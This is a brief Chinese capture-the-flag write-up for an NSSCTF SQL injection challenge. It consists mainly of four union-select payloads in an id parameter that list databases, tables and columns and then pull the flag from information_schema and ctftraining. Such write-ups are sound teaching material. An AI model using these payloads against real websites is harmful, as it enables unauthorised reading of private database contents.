NSSCTF 这是什么？SQL ！注一下 ！

2024-01-09 10:28:54

开启环境:

?

?直接提示了查询语句,sql注入:

?id=1)))))) union select 1,group_concat(schema_name) from information_schema.schemata–-+

得到数据库

??id=1))))))union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘ctftraining’--+

得到ctftraining中的表

??id=1))))))union select 1,group_concat(column_name) from information_schema.columns where table_schema=‘ctftraining’--+
爆出字段名

/?id=1))))))union select 1,flag from ctftraining.flag--+
联合查询得到flag值

?

文章来源:https://blog.csdn.net/weixin_74336671/article/details/135472422
本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。